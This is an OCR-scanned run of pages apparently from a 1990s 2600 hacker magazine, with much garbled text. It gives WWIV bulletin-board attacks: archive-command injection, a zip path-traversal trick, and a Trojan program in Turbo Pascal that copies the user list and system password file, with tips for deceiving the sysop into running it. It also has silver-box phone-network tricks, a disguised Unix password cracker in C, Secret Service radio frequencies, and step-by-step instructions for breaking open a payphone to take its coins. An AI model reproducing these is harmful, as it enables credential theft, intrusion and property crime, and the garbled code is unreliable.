�!ilem:b�t',ihat"thi" method,'o£;ha�JlJ�,? 
WWI'V is alnlostcompletely ,ObSolete;, it is'jUst 
i�c1ud�ctfor �felln.�; ,Ot for '�6 ol��,J 
I1IJ!, from 1\11' empty h�e �hClre}he 

,
syl(lp Jqgs. , :' 

aD i�e {y.,.,or.c)m�iig" ('�; r},..', ;��;',.; c :j; 
,Technique #2: The:P,UIP Ar�lve Sa", X • 

" Probably the mO¥ �fa6f�PaJ;l�r�IV ' 
is the, �ive Se��. �1 �piOn ��w{us�p : 
to �,. fiios t'O:a. teritP6'�i�recioiY:and,?1�'/ 

il).tO " fi\�,.; :ic).' �( 
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the name of the file you just uploaded. It 'Il then 
say "Extract What? " and you say"·."". I t'll 
then unzip everything (your one file) into the 
TEMP directory. Then go to the archive menu 
("G") and pick "A" to add a file to archive. It'll 
ask what file you want to add, and say anything, 
it doesn't matter. At this point it will try to 
execute the comm�d: 
PKZIP TEMP.ZIP \TEMP\ % 1 

Where % I is what you just entered. The file 
pointer is already pointing to the temp 
directory, so instead of executing PKZIP from 
the DOS path, it'll execute the file sitting in the 
current directory, TEMP. So then it runs PKZIP 
and you get your DOS shell or whatever. 

If PKZIP does not work, you may want to 
try uploading another file, and use the same 
technique, but instead make it an ARC file and 
call the file in the archive PKP AK. 

This technique is relatively easy to defeat 
from the sysop's,end, but often they are too 
lazy, or just haven't heard about it. 

Technique #3: The·D Archive' Hack 
This technique also plays on the openness of 

W W I V's archi ve system. This is another 
method of getting a file into the root BBS 
directory, or anywhere on the hard drive, for 
that matter. 

First, create a temporary directory on your 
hard drive. It doesn't matter what it's called, 
We'll call it TEMP. Then, make a sub·directory 
of TEMP called AA. It can actually be called 
any two-character combination, but we'll keep 
it nice and simple. Then make a subdirectory of 
AA called WWIV. 

Place N E TWORK. COM or 
REMOTE.COM or whatever in the directory 
\ TEMP\AA\WWIV. Then from the TEMP 
directory execute the command: 
PKZIP ·r .p STUFF.ZIP (The case of "r" and 
"P" are important.) 

This will create a zip file of all the contents 
of the directories, but with all of the directory 
names recursed and stored. So if you do a 
PKZIP -V to list the files you should see 
AA\WWIV\REMOTE.COM, etc. 

Next, load STUFF.ZIP into a hex editor, 
like Norton Utilities, and search for "AA". 
When you find it (it shoul d occur twice), 
change it to "C:", It is probably a good idea to 
do this twice, once with the subdirectory called 
WWIV, and another with it called BBS, since 
those are the two most common main BBS 

directory names for WWIV. You may even 
want to try D: or E: in addition to C:. You could 
even work backwards, by forgetting the WWIV 
subdirectory, and just  making it  
AA\REMOTE.COM, and changing the "AA" to 
" .. ". This would be foolproof. You could work 
from there, doing " .. \.\DOS\PKZIP.COM" or 
whatever. 

Then upload STUFF.zIP (or whatever you 
want to call it) to the BBS, and type "E" to 
extract it to a temporary directory. It 'U ask you 
what file. Type "STUFF.ZIP". lt'U ask what 
you want to extract. Type " ""-D ". Ifll then 
execute: 
PKUNZIP STUFF.ZIP ""·D 

It will unzip everything into the proper 
directory. Voil a. The quotation marks are 
ignored by PKUNZIP and are only there to trip 
up WWIV v4.20's check for the hyphen. This 
method can only be defeated by modifying the 
source code, or taking out the calls to any 
PKZIP or PKUNZIP programs in INIT, but 
then you lose your archive section. 
Technique #4: The Trojan Horse File·Stealer 

This method, if executed properly, is almost 
impossible to defeat, and will conceivably work 
on any BBS program, if you know the directory 
structure well enough. Once again, you need PC 
Mag's BAT2EXEC, or enough programming 
experience to write a program that will copy 
files from one place to another. 

The basic principle is this: You get the 
sysop to run a program that you upload. This 
program copies \WWIV\DA TA\USER.LST and 
\WWlv\CONFIG.DA T over files that already 
exist in the transfer or gfiles area. You then go 
download those files and you have the two most 
important files that exist for WWIV. Now, you 
need to do a certain amount of guess-work here. 
WWIV has its directories set up like this: 

-TEMP 
-DlRI 

1- DLOADS-I--DIR2 
I I 
I -DIR3 
WWIV-I-DATA 

I -GDIRI 
I I 
1- GFILES-----I- GDIR2 
I I 

-GDIR3 
MSGS 
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The sysop sets the names for the DIRI, 
DIR2, etc .  Often you have names like 
UPLOADS, GAMES, UTILS, etc. For the gfile 
dirs you might have GENERAL, HUMOR, 
whatever. 

So you have to make a guess at the sysop's 
directory names. Let's say he never moves his 
files from the upload directory, Then do a 
directory list from the transfer menu and pick 
two files that you don't think anyone will 
download. Let's say you see: 

RABBIT .ZIP 164k : The History of 
Rabbits from Europe to the US. 

SCD.COM 12k: SuperCD • changes dlrs 
3% faster than DOS's CD! 

So you then might write a batch file like 
this: 
@ECHO OFF 
COPY \WWIV\DATA\USER.LST \WWIV· 
\DLOADS\UPLOADS\RABBIT.ZIP 
COPY \BBS \DATA\USER.LST 
\BBS\DLOADS\UPLOADS\RABBIT.ZIP 
COPY \WWIV\CONFIG.DAT 
\WWIV\DLOADS\UPLOADS'SCD.COM 
COPY \BBS\CONFIG.DAT \BBS\DLOADS. 
\UPLOADS'SCD.COM 

You'd then compile it to a COM file and 
upload it to the sysop directory. Obviously this 
file is going to be pretty small, so you have to 
make up a plausible use for it. You could say 
it's an ANSI screen for your private BBS, and 
the sysop is invited. This is good if you have a 
fake account as the pres ident of some big 
cracking group. You wouldn't believe how 
gullible some sysops are. At any rate, use your 
imagination to get him to run the file. And 
make it sound like he shouldn't distribute it, so 
he won't put it in some public access directory. 

There is a problem with s imply using a 
batch file. The output will look like: 
1 ftIe(s) copied. 
File not found. 
1 ftIe( s) copied. 
File not found. 

That might get him curious enough to look 
at it with a hex editor, which would probably 
blow everything. That's why it's better to write 
a program in your favorite language to do this. 
Here is- a program that searches specified drives 
and directories for CONFIG.DA T and 
USER.LST and copies them over the files of 
your choice. It was written in Turbo Pascal 
v5.5: 

Program CopyThIsO.erThat; 
( Chanae the dlr name.towhat ... r you wanL If you 
change the number or loeadon. It checks, be .ur. to chana. 
the "num" constants as well ) 
uses dos; 
const 

NumMalnDlrs = 5; 
MalnDir.: orr.y[I .. NumMalnDirs) ofstrlng[B) = 

('BBS', 'WWIV', 'WORLD', 'BOARD', 'WAR'); 
NumGIDirs = 3; 
GFDlrs: array[I •• NumGFDlrs) or.lrlnalB) = 

('DLOADS', 'FlLES' ,'UPLOADS'); 
NumSubGFDlrs = 1; 
SubGFDlrs: array[l .. NumSubGFDirs) ofstrlng[B) = 

('UPWADS','MISC'); 

NumDlrsToTe.t = 3; 
DirsToTest : array[l •• NumDirsToTe,t) ofstrlng[3) = 

('C:I','D:I','E:I'); 
(ok 10 lest for one lhal doesn'l exlst) 

(Source me name' Include path. from th. MAIN BBS 
,ubdlr (e.a. "BBS") ) 

SourceFiieName,: array[I • .1) ofstrlng[15) = 
("DATA IUSER.LST','DATA ICONFlG.DAT'); 

( De,t nle name. are from ,ubgfdlrs ) 

De.lF1leNam.,: array[I . .1) ofslrlng[ll) = 
('\BDA V.MOD', 'ITVK.ZIP'); 

var 
p, q, r, x, y, dirN: byte; 
bigs: word; 
CurDlr, BackDlr: ,lrlna[BO); 
n,f2:nle; 
Info: pointer; 
ok: boolean; 

Procedure Sorry; 

var 
X, y: integer; 

beaJn 
for y := 110 1000 do 

for x := I 10 100 do 
, 

Wrlteln; 
Wrlteln ('<THIS IS DISPLA YED WHEN FlNISHED>'); 
(chanae to somelhing like) 
Wrlteln; 
(Abnormal procram termlnallon) 
ChDir(BackDir); 
Halt; 
end; 

beaJn 

Wrlle ('<THIS IS DISPLA YED WHILE SEARCHING>'); 
(change 10 .omelhing like) 

($1.) 
(Loading ••• ) 

GeIDlr (0, BackDir), 
ChDlr('I'), 
for dirn := 1 to NumDinToTHt do 

bealn 
ChDir(DirsToT.sl[dirnJ); 
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If 10Resuit = 0 then 
begin 
for p := I to NumMalnDlrs do 

begin 
ChDlr (MalnDirs[pJ); 
If (IOResult <> 0) then 

begin 
If(p = NumMalnDlrs) and (dlrn = 

NumDlrsToTe.t) then 
Sorry; 

end else begin 
p := NumMainDlrl; 
for q := I to NumGFDirs do 

begin 
ChDlr (GFDlrs[q) ; 
If(IORelult <> 0) then 

begin 
If(q = NumGFDlrs) and 

(dlrn=NumdlrsToTelt) then 
Sorry; 

end el .. begin 
q := NumGFDlrl; 

for r := I to NumSubGFDlrs do 
begin 
ChDlr (SubGFDlrs[rJ); 
If (JOResult <> 0) then 

begin 
If r = NumSubGFDlrs then 

Sorry; 
end elle bealn 
r := NumSubGFDirs; 
dlrn := NumDlr,ToTesl; 

end; 

end; 
end; 

end; 

end; . GetDlr (0, CurDlr); 
ChDlr (' • .'); 
CbDir ('.'J; 
fon := I to l do  

begin 

end; 
end; 

As.oItIn (n, SourceFileNames[x]); 
A .... n (1'2, CurDlr+DeslFlleNam .. [x]); 
R_t (n, I); 
iflOResuh <> o then 

begin 
Ih a l  then 

Sorry; 
end else begin 
ReWrite (1'2, 1); 
Bias := FlleSl7.e(n); 
GetMem(lnf." Blp); 
B1ockRead(n, Info", Big.); 
BlockWrite (1'2, lnfo', Big.); 
FreeMem(lnf." 1111'); 
end; 

end; 
Sorry; 
eneL 

ok :. true; 
end; 

So hopefully the sysop runs this program 
and emails you with something like "Hey it 
didn't wOlk bozo!". Or you could make it work. 
You could actually st ick a B B S  ad in the 
program or whatever. It ' s  up to you. At any 

rate, now you go download those files that it 
copied lhe USER.LST and CONFIG.DAT over. 
You can type out the CONFIG.DAT and the 
first word you see in all caps is the system 
password. There are several utilities for WWIV 
that let you compile the USER.LST to a text 
file. You can find somelhing like lhat on a big 
WWIV board,  or you can try to figure it out 
with a text or hex editor. At any rate, once you 
have those two files, you're in good shape. 

You could also use a batch file like lhat in 
place of one that calls COMMAND.COM for 
something like REMOTE.COM. It's up to you. 

Hacking Prevention 
So you are lhe sysop of a WWIV board, and 

are reading lhis file wilh growing dismay. Have 
no fear, if you have patience, almost all of these 
melhods can be fixed. 

To eliminate the wildcard upload, all you 
have to do it get  a cu rrent copy of WWI V  
(4.20), and the latest version of DSZ. It ' s  all 
been fixed . To fix the PKZI P archive hack, 
s imply specify a path in INIT in all calls to 
PKZIP, PKUNZIP, PKPAK, PKUNPAK, and 
any other archive programs you have. So your 
command lines should look like: 
\DOS\PKZIP • V % 1 

Or something s imilar. That will fix that 
nicely. To eliminate lhe -D method, you have to 
make some modifications to lhe source code if 
you want to keep your archive section. Goose, 
sysop of the Twilight Zone BBS in V A, puts 
out a N O H A C K  m o d ,  which i s  updated 
regularly. It fixes all of lhese melhods except 
lhe last. The latest version of NOHACK is v2.4. 
If you are a WWIV sysop, put it in. 

I can think of two ways to stop the last 
melhod, but neilher of them are easy, and bolh 
require source code modifications. You could 
keep track of the filesize of a file when i t ' s  
uploa ded.  Then w h e n  someone goe s to 
download it, you could check the actual filesize 
with the s ize when it was . uploaded. If they 
differ, it woulc;ln' t  let you download it. You 
could do the same with the date. But either 
method could be gotten around with enough 
patience. 

For a virtually unhackable system , voice 
validate all users , have all uploads go to the 
sysop directory so you can look over lhem first, 
and don't run any programs. Of course, lhis is 
very tedious,  bUI that is  the price of a secure 
BBS. 
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h ow to u se yo u r  s i l ve r box 
by Mad Scientist 

If y o u  b u i lt t h e  s i l v e r  box in t h e  
W i nt e r  1 989-90 i s s u e  o f  2600, here 
is so m e  usefu l  info on 'lts use.  

C a l l  d i r e ct o ry a s s i st a n c e  ( e . g .  
XXX-555- 1 2 1 2 ) .  Wh i l e  i t  i s  r i n g i n g ,  
h o l d  d o w n  t h e  " 0 "  k e y  o n  y o u r  
s i lver box.  This  w i l l  d i sco n n ect you 
fro m the ope rator a nd p ut you i nto 
t h e  A C D  ( A u t o m a t e d  C a l l  
D i str i b u t o r ) .  I f  y o u  a re s u ccessfu l 
y o u  w i l l  h e a r  a p u l s i n g  d i a l  to n e .  
F r o m  h e re y o u  h ave t e n  sel ect ions 
t o  c h o o s e  fro m y o u r t e l e p h o n e 's 
key p a d .  

1 :  ri n g s  the t o l l  test board.  
2 :  s o m e t i m e s d e a d  c i rc u i t ,  

somet i mes m i l l iwatt test. 
3 :  s o m e t i m e s  m i l l i w a tt t e s t ,  

somet i mes 1 000 hz tone.  
4 :  dead c i rcuit .  

5 :  dead ci rcu it .  
6:  l oop - l ow e n d .  
7 :  loop - h i g h  end.  
8: 600 ohm term i n at ion.  
9 :  dead ci rcuit .  
0 :  dead ci rcuit .  
I ' v e  fo u n d  the l o o p  to b e  v e ry 

u s e f u l .  T o  u s e ., t h e  l o o p , h a v e  
s o m e o n e  ca l l  t h e  s a m e  d i rect o ry 
assist a nce n u mber you wi l l  be u s i n g  
a n d  p ress 6, w h i c h  wi l l  put h i m  o n  
t h e  l ow s i d e  of the l o o p .  Yo u t h e n  
ca l l  t h e  s a m e  n u m b e r  a n d  p ress 7 
fo r t h e  h i g h  end of t h e  loop a n d  you 
a re co n nected .  

N ot all  d i r e ct o ry a s s i st a n c e  
n u m b e rs work s o  t ry s o m e  ot h e r  
n ot so distant ones. U n fortunately I 
h a ve n 't b e e n  a b l e  t o  g et th e 800 
a rea code to work. 

ANNOUNCING 
THE NEW 

2600 T-SHIRTS! 
This time. they re white on black! Two-sided,  

guaranteed to make yOU stand out like a sore 

thumb. We have three sizes: medium. large. and 

extra large. $ 1 5 apiece. two for $26. Send to: 
2600 T-shirts 

PO Box 152 
Middle Island. NY 1 1 953 

Allow 4-6 weeks for delivery. 
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REAL IMPORTANT FREQUENCIES 

Selected Secret Service Frequencies 
from Sca ncom BBS (904) 878-44 13  

32.230 Secret Service (Ca m p  
Dav i d )  

1 62.850 Wh ite House Staff 
1 63.360 Secret Service 
1 63.8 1 0  Secret Service (Also used 

by CIA, U .A. M arsha l ,  and 
FBI )  

1 64.400 Channel  PAPA 
1 64.650 Channel  TAN GO (VP 

Command Post) 
1 64.885 Channel  OSCAR 

( Presidenti a l  L imous i n e )  
1 65.025 Channel  N OVE M B E R  
1 65.085 Channel  H OTEL (Repeater 

O utput - I nput: 1 66. 2 1 5) 
1 65.2 1 0  Channel  M IKE ( Used for 

visit i ng d ign itari es )  
1 65.235 Channel  ALPHA (Also 

used by Customs and DEA) 
1 65.3750 Channel  CHARLI E 

( Repeater Output - I n put: 
1 65.375)  

1 65.675 Secret Service 
1 65.760 Channel  G OLF 
1 66.2 1 5  Channel  HOTEL ( I n put to 

1 65 .085) 
1 65.7875 Channel  BAKER (Escort 

Freq u e ncy) 
1 66.485 Secret Service 
1 66.4625 Cha n nel  VI CTOR 
1 66.5 1.25 C h a n nel  S I E RRA 

1 66.6 1 25 Channel R O M E O  
1 66.700 Chan nel  QUEBEC ( Pag i ng) 
1 67.0250 Channel  Whisky 

(formerly N OVE M B E R  -
Pag ing ) 

Disney Freq uencies 
42 .98 Dis neyl a n d  R ides 
46 26 Dis neyl a n d  - Anaheim F i re 

1 5 1 . 200 Lake Buena Vista Emergency 

1 5 1 655 B u e n a  Vista Co nstruct ion 
1 5 1 745 Disney l a n d  Hotel 

1 5 1  865 Royal Plaza Hotel 

1 5 1  895 20,000 Leagues Submarine 

1 54 . 430 Wdw F i re Depa rtment 
1 5 4 . 570 Disney l a n d  Subs 
1 54 600 Disney l a n d  Steam T ra i n s  and M o n o ra i l s  

1 54.625 H i lton Hotel Pag ing 

1 55 370 Pol ice I n ter System 
1 58 460 B u e n a  Vista Pal ace Hotel Paging 
453.825 Reedy C reek Rescue ( d a i l y  raqlo check 

8:30 a m i  
453.875 F i re C h a n nel l 

453.925 F i re C h a n nel 2 

460 1 50 Disney l a n d  - Anaheim Pol ice 
4 6 1 .300 Magic Ki ngdom M a l n t  a n d  Computer 

C o n t ro l  Base 
461 600 B u s  Trans,  Campgro u n d  M a l n t  

4 6 1 . 700 B u e n a  V ista C o n struction 
4 6 2 . 550 Epcot S h ow Control  and Mk Parades 
4 6 2 .575 M o n o ra i l s  

462 . 625 Rescue, Lake Buena Vista,  Water Craft, 
Trans 

4 6 2 650 Epcot Trans, Pa rki ng, S h ow C o n t ro l  

4 6 2 . 67 5  Epcot M a i n ! .  Computer Control  Base 
4 6 2 . 7 7 5  Paging 
462 850 Pag i n g  
463 .000 Orange Vista Hospita l  

463 .050 S a n d  Lake Hospita l 
463.750 Secu rity 3, Epcot a n d  V i l lage 
463.975 E n terta i nment, Data C o n t ro l  Repai r  

464 1 00 Hyatt Hotel 
464. 1 25 Sec u rity Control  
464. 200 F o rt Wi lderness a n d  Disney I n n  
464.375 G r a n d  Cypress Hotel 

4 6 4 . 400 Sec u rity, Parking M k  and Poly Hotel 
464.4 1 2  Disney l a n d  Mai nte n a nce 
464 .425 B u e n a  Vista Pal ace Hotel 

4 6 4 . 462 Disney l a n d  Sec u rity 
4 6 4 . 487 Disney l a n d  Park i n g  
4 6 4 . 5 1 2 Disney l a n d  Special  Eve nts 

464.525 Disneyworld Hi l ton and Disneyl a n d  

A n a heim H i lton 
4 6 4 . 575 Disney l a n d  Hotel  Sec u rity 

464.625 Magic Ki ngdom M a i n t  

464.637 Disney l a n d  Emergency C h a n ne l  

464.675 C o n temporary Hotel 

464.767 Dlsneyworld W h ite Telepho nes 

464 .800 V i l lage M a i nt a n d  Ut i l it ies 

464 .937 Disney l a n d  Marriott Hotel Anaheim 
464 .975 M a r riott World Center Secu rity 
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UNIX PASSWORD H.ACKER 
.: "' ' III ';" " , 

An Alternative Approach 
by Keyboard Jockey , ev erybody in  /etc/pas swd .  If  i t  finds 

If you've been trying to hack Unix for 
a while, I ' m  sure you've run into some 
form of a password hacker. Most of these 
do the job, but I tend to avoid using them. 
They use too much CPU time and are 
usually easy to spot. In this article I will 
show you an alternative way of password 
hacking, using the same method as most 
others, but with a different approach. 

In order for this  program to work, 
check your /etc/passwd.  You will see 
acco unt  inform atio n ,  s tarting with 
username, followed by a colon, followed 
by an encrypted password, and a lot of 
other account information. Any encrypted 
password that has  a * in it cannot be 
logged into. Also, if it seems a little short, 
like one digit, the system is probably using 
s hado w passwords : the data in the 
encrypted password entry is not val id. 
Hopefully it is valid or else this program 
will not work on it. 

First. type in the source code, and then 
compile it. If you're having problems with 
compil ing ,  m ake sure you typed it in 
correctly. If you ' re not sure about your 
compiler, look at the online manual entry 
of cc (C compiler). After that, execute it 
and you will see: 
''Mlnltel emUlation package V3.0 
(C)opyrlght 1985-199. 
Do you need relaxed protocol? (lor networks)" 

At this point, you should enter 800.  
This is so anyone else who is running i t  
won't ' think it  is  a password hacker. You 
might  forge t  about the execute 
permis s ions  o r  a superuser might  be 
snooping around. Anyway, i t  is  safer this 
way than without it. 

After e n tering 800, you wil l  see 
"Connect to what host?" It is actually 
asking you to enter a password. It  will 
then take a few seconds and scan 

anyone with that password, you ' ll see the 
username on the screen. The first time you 
do this, test it out by ' entering your own 
password and see if your username shows 
up .  It w i l l  keep asking you  to enter 
passwords until you press ENTER (all by 
itself). 

' 

Something you might want to do is fo  
modify this 'program or make 'your own. If 
you're going to' 'make yotn own, look at 
the last few lines where it uses the crypt 
command. If you're going to modify mine, 
you might want to make it so that it cao' 
accept external files ,  instead of using 
/etc/passwd. In other words, hack accounts 
from another host.  Because most other 
scanners try aU the WOrds in the dictionary 
fil", CPU usage is high. With this one;' 
there is a momerit of high CPU usage (the 
scanning of /etc/passwd) and moments of 
low CPU 'us age (when you Ire entering 
your attempt) . Keep in mind that some 
systems keep track of  how much CPU 
time you use, what pro'gram it was, arid 
also how often you use telnet. 

When y o u ' re guessing at people ' s  
passwords, remember the password policy 
on your system. Some systems have a '6 
digit limit and the password can 't be in the 
dictionary. So don ' t waste time entering 
something  like "cpu" when 3 digi t  
passwords aren ' t  allowed; It will take a 
while to get an account. After all, ifis you 
who is guessing the passwords now. The 
advantage is that it is hard to detect. The 
disadvantage 1s ' that it takes up your time, 
not the computer's .  

If you're looking for more information 
about Unix structures, try the man pages 
or buy the book Using C on the Unix 
System from O 'Reilly & Associates, Inc. 
You can get a catalog of their books by 
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reque sting one from nuts@ora .uu .net, at 
u unet!ora!nuts,  or at O 'Reil ly & 
Associates, Inc. ,  9 8 1 Chestnut Street, 
Newton, MA 02 1 64. 

Now that you have enough knowledge 
to use this program, I ' ll end this article 
with some intere sting que sti on s and 
be lief s .  I think hacking i s  the u se of 
creativity and knowledge to obtain a goal.  
After all, if you 're just using cookbook 
methods (like this program) then you 're 
not really hacking . If you have an account 
or a code but you don 't understand how it 
was taken, then you didn 't hack it . Also, if 
you didn't destroy or pirate anything, why 
does the law con sider you a criminal? 
After all, mo st legal user s of a system 
waste resources too . Does it really matter 
if the CPU time was taken by Mr. Hacker, 
the guy who uses accounts to look around 
and hangup, or by Joe Blow, the guy who 
u se s  the same amount of CPU time to 
download new public domain games for 
his personal computer from another host? 
And one last note, have people really been 
using viruses to hack? Have people been 
using their skills to destroy the host after 
they 've hacked it? That is the impression I 
got from Good Morning America on ABC 
when they interviewed a former LOD/H 
member . The only good example I can 
think of is Robert M orri s ,  but hi s 
virus/worm wa s never m eant to b e  
destructive. 

WRITE FOR 2600 ! 

I' Alternative U N I X  Password Hacker 
Written by Keyboard Jockey 

" 

#include <stdio.h> 
#include <pwd. h> 
#include <str ing.h> 

struct passwd 'p1  ; 
struct passwd 'getpwentO; 
char 'cryptO ; 

main 0 

{ 
char 'pw,passw[20] .thi ng[SO] .thi ng2[SO]; 

strcpy(thing2,"SOO') ; 
printf ('\n\n Minitel emulation package V3.0\n") ; 
printf ("(C)opyright 1 985· 1 990\n\n ") ; 
printf ("Do you need relaxed protocol? (for 
networks) ' ) ;  
gets (thing) ; 
if (strcm p(thing ,thi ng2) !=O) 

{sleep ( 1 ) ;  
pri ntf ( "\nCan' t  fi nd m initel data fi les\n ') ; 
exit ( 1 ) ; ) 

label 1 :  
setpwent 0; 
printf ( '\nConnect to  what host? 0) ; 
gets ( passw); 
if (strlen(passw)==O) goto label2; 

while ((p1 =getpwent()) !=N U LL) 
{pw=crypt(passw,p1 ·>pw_passwd) ;  
i f  ( !strcmp(pw,p 1 ->pw-pssswd)) 

{printf ( "%s\n " ,p 1 ->pw_nam e) ;) )  

goto label1  ; 

label2: 
exit (0);  

) 

All of our writers get free subscriptions and an account on our 
new voice mail system. Send your articles to: 
2600 Article Submission 
PO Box 99 
Middle Island, NY 11953 
Internet: 2600@wel l .sf.ca.us 
FAX: (516) 751-2608 
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HOW TO TAKE APART A PA YPHONE 
by The Monk 

No te :  I a b s o l utely love Wes tern 
Electric (WE), AT&T, C&P, Nynex, 
Bellsouth, and all of those wonderful  
organizations that are associated with 
the m a rvel  of t h i s  c e n t ury, the 
Payphone.  I would never d ream of 
actually doing anything in this article, 
and imagine no one else would. I hate 
phreakers, and would turn all of them 
in the in stant I thought I saw one. I 
would turn in my own father if he 
were a phreaker. God bless America, 
God bless AT&T, God bless WE, God 
bless C&P.  But, if someone d oes d o  
anything contained i n  this article and 
get s caught, don't blame m e .  Blame 
yourself .  Blame yourself  for being 
such a fucking i d i ot t o  p u l l  the 
payphone,  a n d  t o  t h i n k  that you 
would escape our wonderful police 
force. I love my police force. Snort . . .  
snort. 

Three years of journalism and look 
what happens to your brain. 

A nyway, I wrote t h i s  article  
because I know there are some evil 
phreakers out there that would love to 
have a payphone, but don't have the 
slightest clue on how to take it apart. 
No one really knows. And if they do, 
it involves tools beyond most people, 
or time that most people don'tfind to 
be worth it. With this method, you can 
take apart a payphone in less than 40 
minutes after you get good at it. 

You have a payphone� you want 
the money, a DTMF pad, and eno\1gh 
electronics to open up an electronics 
store . How do you do it? The bare 
requirements of what you need: ' (this · 
is assuming you are poor, and can't 

quite squeeze the expensive tools) 
* 2 good quality flathead screw­
drivers . One small, and one large. 
* a pair of scissors. The greater 
leverage, the better. 
* a hex key tool set. One key is 
needed, but the screws sometimes 
vary in size. 
* a large pair of pliers. 
* a hammer. 

Now, if you have the money: 
* a crowbar. 
* a wedge/chisel. 
* large headed, small handle 
hammer. 

And if you are the one of the lucky 
few: 
* an air  hammer ( if  you had one, 
you wouldn't be reading this though). 

OK, down to business.  First, you 
can do any of this while the phone is 
still attached to the wall, but I imagine 
that most first time people will not 
have the balls to do something like 
that. That is understandable. After you 
become familiar with how to do this 
though, you will probably want to do 
it while the phone is still attached to 
the wall, or booth. 

Put the phone on i ts  back. Look 
right at it. You should be staring at the 
front .of the phone. Now look at the · 
silver facade of sorts on it .  Notice ho\;V 
cheap it i s .  Noti c e  how the push 
button amplifier seems to be barely 
attached on there? Also notice how the 
two little "instruction" plastics are not 
held in by any screw, nor tape (you 
can wiggle the plastic). You just made 
a major . observation. The places where 
the silver d isappears and is holding 
the plastic in place I will now call a 
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"wind o w " . T h e re are o n l y  two 
windows o n  a phone,  t h e  t o p  and 
bottom window. Now, take out your 
large screwdriver.  (At t h i s  point, I 
want to bring up a point that I take 
great pride in: quality of tools. Get the 
best your money can buy. I purchase 
Craftsman tools only. They will refund 
your money if your tool breaks for any 
reason w h a t soever, n o  quest ions  
a sked . I f  you u s e  a cheap Taiwan 
screwdriver for this  part, you might 
end up with a broken screwdriver. I 
make no promises about what your 
tools will look like after taking apart a 
payphone.) Place the flat edge under 
the top area of the bottom window. 
Now jam "it in there as far as possible, 
to avoid brea k i n g  t h e  t i p  of your 
screwdriver already, and then pry up. 
Keep repeating this motion until the 
bottom half of the silver plate is really 
starting to move up. Then work on the 
side of the silver plate. The top. Don't 
worry about the amplifier button, it's 
just a button with a spring on it; the 
real amplifier is inside the payphone, 
nice and snug.  Also, you will have 
trouble with the armor for the wires to 
the handset, just finagle with it until 
you get slack in the silver metal that 
you need to pry the silver farther (if 
you run i nt o  any trouble with the 
handset, you'll know what I'm talking 
about). After the silver plate has come 
off, you should be staring at a totally 
black phone with a hole for the DTMF, 
and a DTMF pad in there. Circuitry is 
exposed . Good going, that was the 
second most difficult thing you were 
going to do tonight . 

Now, take out  t h e  DTMF pad,  
whether by ripping it out,  or with 
your small screwdriver, taking out the 
screws on the brackets that hold it in .  
Warning: if you decide t o  take out the 

DTMF by just unscrewing it, you may 
not notice the bracket screws, as the 
head s are facing a 90 d egree angle " 
from you . The s c rews are on both 
sides of the DMTF, left and right. Both 
are in the middle of the DTMF on the 
left and right sides of it . Cut the wires 
to the DMTF. I tried to keep the wires 
once,  b u t  i t  is way t o o  much o f  a 
hassle. Screw it, trust me on thiS, just 
take it out. Rip it out, or just cut the 
wires. 

Now, in the hole you should have 
two brackets. You'll notice this thick 
plastic that keeps you from digging 
around" inside of the payphone itself. 
No problem. That's where your heavy 
duty scissors come in handy. But first, 
you w i l l  have to t a k e  you r large 
screwdriver, and try to pry some of 
the plastic off first (you'll need a place 
to b eg i n  your c u t t i n g  with the 
scissors) . You will  want to cut out  
basically the whole bottom right hand 
side of the plastic. No problem really. 
Should take you half an hour the first 
t ime, fifteen m i nutes  after you get 
good with it. 

Cutting the plastic is a very difficult 
step, and accomplishing it means that 
Y0J! are really committed to this. 

Now take your pointer finger and 
feel inside of the hole near the right 
hand s i d e  of t h e  a rmor on t he 
payphone. Yes, you want to feel the 
back of the lock. Now, you can shine a 
light in there also if you feel inclined 
to see what you are after. It is a one 
and a half inch box by about one and a 
half inches. It has four hex screws at 
each corner. The lock is made of a very 
durable metal, and the screws cannot 
be shredded off. Only one thing you 
can do, unscrew the screws. They are 
all hex screws.  This is truly the hardest 
and most tedious part of the job. You 
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might have to bend some of the metal 
around the hole where the DTMF used 
to be. Go ahead, it's your phone, do 
w h a t  you want . There i s  n o t h i n g  
fragile attached to the armor a t  all. Just 
don't  sledgehammer the side of the 
armor, as the locking mechanism uses 
t h e  s i d e  of the phone . And if you 
loc k / ja m  the mecha n i s m ,  you ' re 
screwed. 

You now have all four screws out. 
Wiggle the lock a bit, and take out the 
lock.  Take it all the way out of the 
phone - the lock gets in the way for the 
next step. 

Now, with a small flathead, move 
the screw on the left hand side of the 
phone. Yes, it just looks like a hole, but 
stick the flathead in sideways and turn 
o n e  quarter .  You s h o u l d  hear  a 
definite "thunk" from the phone. You 
just disabled the lock. Congrats .  If you 
cannot move the screw, try moving 
the metal around where the lock used 
to be. Slide it up or down. It should 
move an inch, and make that "thunk" 
that we all love to hear. 

I will now refer to the half of the 
phone with the plunger / hand set / ­
DTMF o n  i t  a s  the "top" half .  The 
"bottom" half is  the other half of the 
phone. 

Now take the front armor off of the 
phone. Disconnect all wires that keep 
the front half attached to the second 
half of the phone. 

At the top of the bottom half you 
should see a piece of metal about the 
s i z e  of you r  thumb.  Move t h i s .  It 
usually is a metal wire loop.  Move it 
up. Did anything happen? No? Move 
it down. When it moves more than an 
inch, leave it . Now, with your large 
flathead,  there is a fla thead screw 
staring you in the eye. Take this guy 
out . It only takes a quarter to a half 

t u r n .  Now, remove the hard ware 
contents of  the phone. The long skinny 
mechanis m  is the change sorter. The 
circuit board attached to its bottom is 
the coin detector, to tell  the phone 
what coin had just dropped through. 
The thing at the bottom of the phone 
with copper wire wound around it is 
the servo mechanism. Have you ever 
cut the yellow and black wires, waited 
around a day, reconnected them, and 
then got all of the money from that 
day back? Well, this is the device you 
are manipulating.  The t w o  s ystem 
boards are just that, system boards.  

If you only see a large box inside of 
dear plastic instead of a circuit board 
at the end of the change sorter, you 
have a pre- 1 9 80 ' s  payp h o n e .  The 
device in dear plastic is  the red box. 
Please,  i f  you do fi gure out t h e  
electronics o n  this thing, let  m e  know. 
Typical piece of shit, no one can figure 
it out, and no one really wants to. Just 
hike down to Radio Trash and buy a 
dialer if you want a red box this bad. 
Yeesh. 

Now, enough with that, time for 
t h e  money.  W h i l e  t a k i n g  o ut the 
h a r d w are, you s h o u l d  notice  t h a t  
there's a large piece of metal at the 
bottom of the phone that just would 
not move at all. This is the entrance to 
t h e  money b i n .  T a ke a c h i sel  a n d  
hammer and bang i t  off. Now flip the 
phone upside down and stick your 
finger in the money hole and wiggle it. 
Money should just pour out. 

And with that, you should now get 
rid of all of the armor. Throw it in a 
lake or a stream or suc h .  Keep the 
hardware as either trading material or 
whatever. 

I know people who have attached 
the payphone to their lines and they 
